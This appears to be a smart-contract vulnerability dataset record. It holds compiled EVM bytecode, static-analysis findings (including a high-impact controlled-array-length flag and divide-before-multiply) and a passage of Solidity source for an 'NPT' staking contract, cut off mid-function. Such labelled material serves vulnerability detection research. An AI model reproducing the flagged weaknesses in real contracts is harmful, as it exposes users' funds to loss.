0405180910390f35b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610fed57600080fd5b80600c8190555050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561105357600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1631811115151561107957600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156110e1573d6000803e3d6000fd5b5050565b60608060608060008060035460405190808252806020026020018201604052801561111f5781602001602082028038833980820191505090505b5095506003546040519080825280602002602001820160405280156111535781602001602082028038833980820191505090505b5094506003546040519080825280602002602001820160405280156111875781602001602082028038833980820191505090505b5093506003546040519080825280602002602001820160405280156111bb5781602001602082028038833980820191505090505b50925060016003540391506000600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050154111561125a576001600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501540391505b600090505b60035481101561145c57600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160008381526020019081526020016000206001015486828151811015156112ce57fe5b9060200190602002018181525050600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401600083815260200190815260200160002060020154858281518110151561134157fe5b9060200190602002018181525050600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160008381526020019081526020016000206003015484828151811015156113b457fe5b9060200190602002018181525050600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401600083815260200190815260200160002060040154838281518110151561142757fe5b9060200190602002018181525050600082116114485760016003540361144d565b600182035b9150808060010191505061125f565b50509193509193565b600a60009054906101000a900460ff16151561148057600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515156114bb57600080fd5b6114c481612753565b15156114cf57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166004600083815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561153f57600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff16141561163d576000600b600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561163857600b600082815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560003373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b6116f5565b81600b600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b5050565b6000806000809150600090505b6005805490508110156117b35761176b6004600060058481548110151561172957fe5b9060005260206000200154815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166119fa565b15156117a6576004600060058381548110151561178457fe5b9060005260206000200154815260200190815260200160002060040154820191505b8080600101915050611706565b819250505090565b60003373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561181957600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1631905090565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561189257600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561193257600080fd5b600960008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff021916905550565b600a60009054906101000a900460ff16151561199f57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166119bf82611b68565b73ffffffffffffffffffffffffffffffffffffffff161415156119e157600080fd5b6119ea82613346565b6119f5838383613537565b505050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060003373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611ab157600080fd5b611ab9612fca565b925082600e54019150813073ffffffffffffffffffffffffffffffffffffffff1631039050600081111515611aed57600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b55573d6000803e3d6000fd5b50505050565b6000600580549050905090565b6000600b600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6060600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201805480602002602001604051908101604052809291908181526020018280548015611c3357602002820191906000526020600020905b815481526020019060010190808311611c1f575b50505050509050919050565b6000806000806000806000806000600460008b8152602001908152602001600020905080600001548160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682600201548360040154611ca3856004015461307e565b611cac8f6122d5565b866005015487600301549850985098509850985098509850985050919395975091939597565b6000806000809150600090505b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020180549050811015611dad5760046000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020183815481101515611d7f57fe5b9060005260206000200154815260200190815260200160002060040154820191508080600101915050611cdf565b8192505050919050565b6060806060806060600080600154604051908082528060200260200182016040528015611df35781602001602082028038833980820191505090505b509650600154604051908082528060200260200182016040528015611e275781602001602082028038833980820191505090505b509550600154604051908082528060200260200182016040528015611e5b5781602001602082028038833980820191505090505b509450600154604051908082528060200260200182016040528015611e8f5781602001602082028038833980820191505090505b509350600154604051908082528060200260200182016040528015611ec35781602001602082028038833980820191505090505b5092506001805403915060006002541115611ee15760016002540391505b600090505b60015481101561205e5760008083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168782815181101515611f3457fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600080838152602001908152602001600020600101548682815181101515611f9457fe5b9060200190602002018181525050600080838152602001908152602001600020600201548582815181101515611fc657fe5b9060200190602002018181525050600080838152602001908152602001600020600301548482815181101515611ff857fe5b906020019060200201818152505060008083815260200190815260200160002060040154838281518110151561202a57fe5b90602001906020020181815250506000821161204a57600180540361204f565b600182035b91508080600101915050611ee6565b50509091929394565b6000806000806000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018054905061212188611cd2565b600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301549450945094509450945091939590929450565b60006010548210156121f6576121ef6015546121e16014548561382d90919063ffffffff16565b61386890919063ffffffff16565b90506122d0565b6011548210156122305761222960155461221b6014548561382d90919063ffffffff16565b61386890919063ffffffff16565b90506122d0565b60125482101561226a576122636015546122556014548561382d90919063ffffffff16565b61386890919063ffffffff16565b90506122d0565b6013548210156122a45761229d60155461228f6014548561382d90919063ffffffff16565b61386890919063ffffffff16565b90506122d0565b6122cd6015546122bf6014548561382d90919063ffffffff16565b61386890919063ffffffff16565b90505b919050565b60008060008060006004600087815260200190815260200160002060040154935060046000878152602001908152602001600020600201549250612323600a8561386890919063ffffffff16565b915061234d60155461233f60648661382d90919063ffffffff16565b61386890919063ffffffff16565b905080821061235c578161235e565b805b945050505050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156123c557600080fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561247c57600080fd5b6001600a60006101000a81548160ff021916908315150217905550565b600080600080600460008681526020019081526020016000209350600084600401541115156124c757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168460010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561252757600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168460010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561258557600080fd5b61258e33613883565b15151561259a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515156125d657600080fd5b6125df856122d5565b9250823073ffffffffffffffffffffffffffffffffffffffff16311015151561260757600080fd5b339150600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905061263a828287613537565b612648828685600042613896565b612656828685600042613984565b61265f8361307e565b84600401819055508173ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501580156126ad573d6000803e3d6000fd5b508173ffffffffffffffffffffffffffffffffffffffff16857f66f5cd880edf48cdde6c966e5da0784fcc4c5e85572b8b3b62c4357798d447d7856040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff16857fc43bb281ec52dee7b33c8e32abc62208743ff4710705bbb5d3176ead5e99f70c856040518082815260200191505060405180910390a35050505050565b6000806004600084815260200190815260200160002060040154119050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156127d157600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015612850573d6000803e3d6000fd5b50565b6000600f54905090565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020154908060030154908060040154905085565b600a60009054906101000a900460ff1615156128ce57600080fd5b6004600082815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561293e57600080fd5b61294782613346565b612952338383613537565b5050565b60608060008360405190808252806020026020018201604052801561298a5781602001602082028038833980820191505090505b509150600090505b838110156129df5760058186018154811015156129ab57fe5b906000526020600020015482828151811015156129c457fe5b90602001906020020181815250508080600101915050612992565b819250505092915050565b6000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515612a4457600080fd5b600083111515612a5357600080fd5b60006004600086815260200190815260200160002060000154141515612a7857600080fd5b600460008581526020019081526020016000209050838160000181905550818160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082816002018190555082816003018190555082816004018190555060008160050181905550600160058590806001815401808255809150509060018203906000526020600020016000909192909190915055505050505050565b60008060008060008060046000888152602001908152602001600020955060008660040154111515612b6457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168660010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515612bc457600080fd5b85600401543410151515612bd757600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168660010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515612c3657600080fd5b612c3f33613883565b151515612c4b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515612c8757600080fd5b8560010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16945033935085600401549250612ccb8334613ae690919063ffffffff16565b9150612cd684613346565b612ce1858589613537565b612cef848885600142613896565b612cfd848885600142613984565b612d0b858885600042613984565b828660030181905550612d1d8361307e565b8660040181905550600186600501600082825401925050819055506001600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff16877fd2728f908c7e0feb83c6278798370fcb86b62f236c9dbf1a3f541096c2159040856040518082815260200191505060405180910390a38473ffffffffffffffffffffffffffffffffffffffff16877f66f5cd880edf48cdde6c966e5da0784fcc4c5e85572b8b3b62c4357798d447d7856040518082815260200191505060405180910390a3612e30836121ba565b9050612e3b856119fa565b1515612e9b578473ffffffffffffffffffffffffffffffffffffffff166108fc612e6e8386613ae690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612e99573d6000803e3d6000fd5b505b6000821115612eec578373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612eea573d6000803e3d6000fd5b505b612ef581613aff565b612efd613b36565b50505050505050565b6000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515612f6057600080fd5b82518451141515612f7057600080fd5b600090505b8351811015612fc457612fb78482815181101515612f8f57fe5b906020019060200201518483815181101515612fa757fe5b90602001906020020151846129ea565b8080600101915050612f75565b50505050565b6000806000809150600090505b6005805490508110156130765761303c60046000600584815481101515612ffa57fe5b9060005260206000200154815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166119fa565b15156130695761306460058281548110151561305457fe5b90600052602060002001546122d5565b820191505b8080600101915050612fd7565b819250505090565b60006010548210156130df576130d860646130ca6015546130bc60646130ae60c88961382d90919063ffffffff16565b61386890919063ffffffff16565b61382d90919063ffffffff16565b61386890919063ffffffff16565b905061324d565b60115482101561313e57613137606461312960155461311b606461310d608c8961382d90919063ffffffff16565b61386890919063ffffffff16565b61382d90919063ffffffff16565b61386890919063ffffffff16565b905061324d565b60125482101561319d57613196606461318860155461317a606461316c607d8961382d90919063ffffffff16565b61386890919063ffffffff16565b61382d90919063ffffffff16565b61386890919063ffffffff16565b905061324d565b6013548210156131fc576131f560646131e76015546131d960646131cb60788961382d90919063ffffffff16565b61386890919063ffffffff16565b61382d90919063ffffffff16565b61386890919063ffffffff16565b905061324d565b61324a606461323c60155461322e606461322060778961382d90919063ffffffff16565b61386890919063ffffffff16565b61382d90919063ffffffff16565b61386890919063ffffffff16565b90505b919050565b606060058054806020026020016040519081016040528092919081815260200182805480156132a057602002820191906000526020600020905b81548152602001906001019080831161328c575b5050505050905090565b6000600d54600c5403905090565b6060600780548060200260200160405190810160405280929190818152602001828054801561333c57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116132f2575b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff16600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561353357600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050818160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008160010181905550600060405190808252806020026020018201604052801561349c5781602001602082028038833980820191505090505b508160020190805190602001906134b4929190613fef565b506000816005018190555060008160030181905550600160078390806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505b5050565b600061354282612753565b151561354d57600080fd5b8373ffffffffffffffffffffffffffffffffffffffff166004600084815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156135bd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156135f957600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561363457600080fd5b826004600084815260200190815260200160002060010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550613692836119fa565b1515613708576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201839080600181540180825580915050906001820390600052602060002001600090919290919091505550505b613711846119fa565b15156137c25761376b82600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201613eea90919063ffffffff16565b90506137c181600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201613f5e90919063ffffffff16565b5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b60008060008414156138425760009150613861565b828402905082848281151561385357fe5b0414151561385d57fe5b8091505b5092915050565b600080828481151561387657fe5b0490508091505092915050565b600080823b905060008111915050919050565b84600080600254815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600080600254815260200190815260200160002060010181905550826000806002548152602001908152602001600020600201819055508160008060025481526020019081526020016000206003018190555080600080600254815260200190815260200160002060040181905550600180540360025410613970576000613977565b6001600254015b6002819055505050505050565b600061398f866119fa565b1515613ade57600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050858160040160008360050154815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550848160040160008360050154815260200190815260200160002060010181905550838160040160008360050154815260200190815260200160002060020181905550828160040160008360050154815260200190815260200160002060030181905550818160040160008360050154815260200190815260200160002060040181905550600160035403816005015410613acc576000613ad5565b60018160050154015b81600501819055505b505050505050565b6000828211151515613af457fe5b818303905092915050565b6001600d60008282540192505081905550613b2460058261386890919063ffffffff16565b600e6000828254019250508190555050565b600080600080600c54600d541015613b4d57613ee4565b600e54600f819055506000600d819055506000600e81905550613b6e6116f9565b93506000925060009150600090505b600780549050811015613ee357613bcc600782815481101515613b9c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611cd2565b9250600060066000600784815481101515613be357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055506000831115613ece57613c7f84613c71600f548661382d90919063ffffffff16565b61386890919063ffffffff16565b91508160066000600784815481101515613c9557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030181905550613dc6600782815481101515613d1357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660066000600785815481101515613d5157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018054905084600242613984565b600781815481101515613dd557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd14ac56e8962bd2fdb77158ea567632ec3909fa94f0d0a128ecbec7fdcc881ea836040518082815260200191505060405180910390a2600781815481101515613e5c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015613ecc573d6000803e3d6000fd5b505b60009250600091508080600101915050613b7d565b5b50505050565b600080600090505b8380549050811015613f3357828482815481101515613f0d57fe5b90600052602060002001541415613f2657809150613f57565b8080600101915050613ef2565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff91505b5092915050565b600080821080613f72575082805490508210155b15613f7c57613fea565b8190505b6001838054905003811015613fd4578260018201815481101515613fa057fe5b90600052602060002001548382815481101515613fb957fe5b90600052602060002001819055508080600101915050613f80565b82805480919060019003613fe8919061403c565b505b505050565b82805482825590600052602060002090810192821561402b579160200282015b8281111561402a57825182559160200191906001019061400f565b5b5090506140389190614068565b5090565b815481835581811115614063578183600052602060002091820191016140629190614068565b5b505050565b61408a91905b8082111561408657600081600090555060010161406e565b5090565b905600a165627a7a72305820e96eb9c020d8acb92e366a46022ab7cd8e92b02af78f110f5976e8e5ca279e890029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 9,036 |
0xae67898616f88f08b148f42dc96a27ad8b42a2a5
|
pragma solidity ^0.6.0;
// ----------------------------------------------------------------------------
// 'NPT' Staking smart contract
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// SafeMath library
// ----------------------------------------------------------------------------
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address tokenOwner) external view returns (uint256 balance);
function allowance(address tokenOwner, address spender) external view returns (uint256 remaining);
function transfer(address to, uint256 tokens) external returns (bool success);
function approve(address spender, uint256 tokens) external returns (bool success);
function transferFrom(address from, address to, uint256 tokens) external returns (bool success);
function burnTokens(uint256 _amount) external;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Stake is Owned {
using SafeMath for uint256;
address public NPT = 0x820Fa86dCC9b126c63457Bd14B363C0db4E097E6;
uint256 public totalStakes = 0;
uint256 stakingFee = 10; // 1%
uint256 unstakingFee = 10; // 1%
uint256 public totalDividends = 0;
uint256 private scaledRemainder = 0;
uint256 private scaling = uint256(10) ** 12;
uint public round = 1;
struct USER{
uint256 stakedTokens;
uint256 lastDividends;
uint256 fromTotalDividend;
uint round;
uint256 remainder;
}
mapping(address => USER) stakers;
mapping (uint => uint256) public payouts; // keeps record of each payout
event STAKED(address staker, uint256 tokens, uint256 stakingFee);
event UNSTAKED(address staker, uint256 tokens, uint256 unstakingFee);
event PAYOUT(uint256 round, uint256 tokens, address sender);
event CLAIMEDREWARD(address staker, uint256 reward);
// ------------------------------------------------------------------------
// Token holders can stake their tokens using this function
// @param tokens number of tokens to stake
// ------------------------------------------------------------------------
function STAKE(uint256 tokens) external {
require(IERC20(NPT).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from user account");
uint256 _stakingFee = 0;
if(totalStakes > 0)
_stakingFee= (onePercent(tokens).mul(stakingFee)).div(10);
if(totalStakes > 0)
// distribute the staking fee accumulated before updating the user's stake
_addPayout(_stakingFee);
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
stakers[msg.sender].stakedTokens = (tokens.sub(_stakingFee)).add(stakers[msg.sender].stakedTokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
totalStakes = totalStakes.add(tokens.sub(_stakingFee));
emit STAKED(msg.sender, tokens.sub(_stakingFee), _stakingFee);
}
// ------------------------------------------------------------------------
// Owners can send the funds to be distributed to stakers using this function
// @param tokens number of tokens to distribute
// ------------------------------------------------------------------------
function ADDFUNDS(uint256 tokens) external {
require(IERC20(NPT).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from funder account");
_addPayout(tokens);
}
// ------------------------------------------------------------------------
// Private function to register payouts
// ------------------------------------------------------------------------
function _addPayout(uint256 tokens) private{
// divide the funds among the currently staked tokens
// scale the deposit and add the previous remainder
uint256 available = (tokens.mul(scaling)).add(scaledRemainder);
